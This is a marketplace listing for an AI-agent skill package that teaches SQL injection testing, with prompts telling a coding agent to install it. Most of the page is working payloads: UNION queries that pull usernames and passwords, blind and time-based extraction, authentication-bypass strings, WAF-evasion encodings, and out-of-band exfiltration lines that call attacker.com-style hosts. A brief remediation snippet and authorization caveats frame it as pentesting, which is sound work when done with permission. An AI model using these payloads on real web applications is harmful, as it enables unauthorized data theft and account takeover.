Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.
Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.
Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.
USE WHEN: Testing for SQL injection vulnerabilities Performing authorized penetration tests Validating input sanitization mechanisms Bypassing authentication for security testing Extracting database information (authorized) Learning SQL injection defense DON'T USE WHEN: No written authorization for testing Testing production systems with real user data Intent is malicious (don't be evil) โ ๏ธ LEGAL REQUIREMENT: Written penetration testing authorization required before use.
Common injectable parameters: URL params: ?id=1, ?user=admin, ?category=books Form fields: username, password, search, comments Cookies: session_id, user_preference HTTP headers: User-Agent, Referer, X-Forwarded-For
-- Single quote test ' -- Double quote test " -- Comment sequences -- # /**/ -- Semicolon for query stacking ; Watch for: Database error messages HTTP 500 errors Modified response content/length Unexpected behavior changes
-- True condition (should return data) page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- False condition (should return nothing/error) page.asp?id=1 and 1=2 page.asp?id=1' and 1=2-- Compare responses between true/false to confirm injection.
-- Step 1: Determine column count ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- Continue until error occurs -- Step 2: Find displayable columns UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL-- -- Step 3: Extract data UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
-- MSSQL 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL (XPATH) 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -- PostgreSQL 1' AND 1=CAST((SELECT version()) AS int)--
-- Character extraction 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'-- -- Conditional responses 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--
-- MSSQL DNS exfiltration 1; EXEC master..xp_dirtree '\\attacker-server.com\share'-- -- MySQL DNS 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))-- -- Oracle HTTP 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
-- Classic bypass payloads admin'-- admin'/* ' OR '1'='1 ' OR '1'='1'-- ' OR '1'='1'/* ') OR ('1'='1 ') OR ('1'='1'-- -- Query transformation example -- Original: SELECT * FROM users WHERE username='input' AND password='input' -- Injected (username: admin'--): -- SELECT * FROM users WHERE username='admin'--' AND password='anything' -- Password check bypassed!
-- URL encoding %27 (single quote) %22 (double quote) %23 (hash) -- Double URL encoding %2527 (single quote) -- Hex strings (MySQL) SELECT * FROM users WHERE name=0x61646D696E -- 'admin'
-- Comment substitution SELECT/**/username/**/FROM/**/users -- Tab character SELECT%09username%09FROM%09users -- Newline SELECT%0Ausername%0AFROM%0Ausers
-- Case variation SeLeCt, sElEcT, SELECT -- Inline comments SEL/*bypass*/ECT UN/*bypass*/ION -- Double writing (if filter removes once) SELSELECTECT โ SELECT UNUNIONION โ UNION
DatabaseVersion QueryMySQLSELECT @@version or SELECT version()MSSQLSELECT @@versionPostgreSQLSELECT version()OracleSELECT banner FROM v$versionSQLiteSELECT sqlite_version()
-- MySQL/MSSQL: List tables SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- List columns SELECT column_name FROM information_schema.columns WHERE table_name='users' -- Oracle equivalent SELECT table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
PurposePayloadBasic test' or "Boolean trueOR 1=1--Boolean falseAND 1=2--Comment (MySQL)# or -- Comment (MSSQL)--UNION probeUNION SELECT NULL--Time delayAND SLEEP(5)--Auth bypass' OR '1'='1
1. Insert ' โ Check for error 2. Insert " โ Check for error 3. Try: OR 1=1-- โ Check for behavior change 4. Try: AND 1=2-- โ Check for behavior change 5. Try: ' WAITFOR DELAY '0:0:5'-- โ Check for delay
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// Parameterized query const query = 'SELECT * FROM users WHERE id = $1'; const result = await db.query(query, [userId]); // OR use ORM const user = await prisma.user.findUnique({ where: { id: userId } });
SQLMap: Automated SQL injection Burp Suite: Request manipulation OWASP ZAP: Web app scanner Havij: SQL injection tool
ProblemSolutionNo error messagesUse blind injection (boolean/time-based)UNION failsCheck column count with ORDER BYWAF blockingUse encoding/evasion techniquesPayload not executingVerify correct comment syntax for DB typeTime-based inconsistentUse longer delays (10+ seconds)
Never execute destructive queries (DROP, DELETE) without explicit authorization Limit data extraction to proof-of-concept quantities Stop immediately upon detecting production data Report critical vulnerabilities through agreed channels Document all activities for audit trail
Code helpers, APIs, CLIs, browser automation, testing, and developer operations.
Largest current source with strong distribution and engagement signals.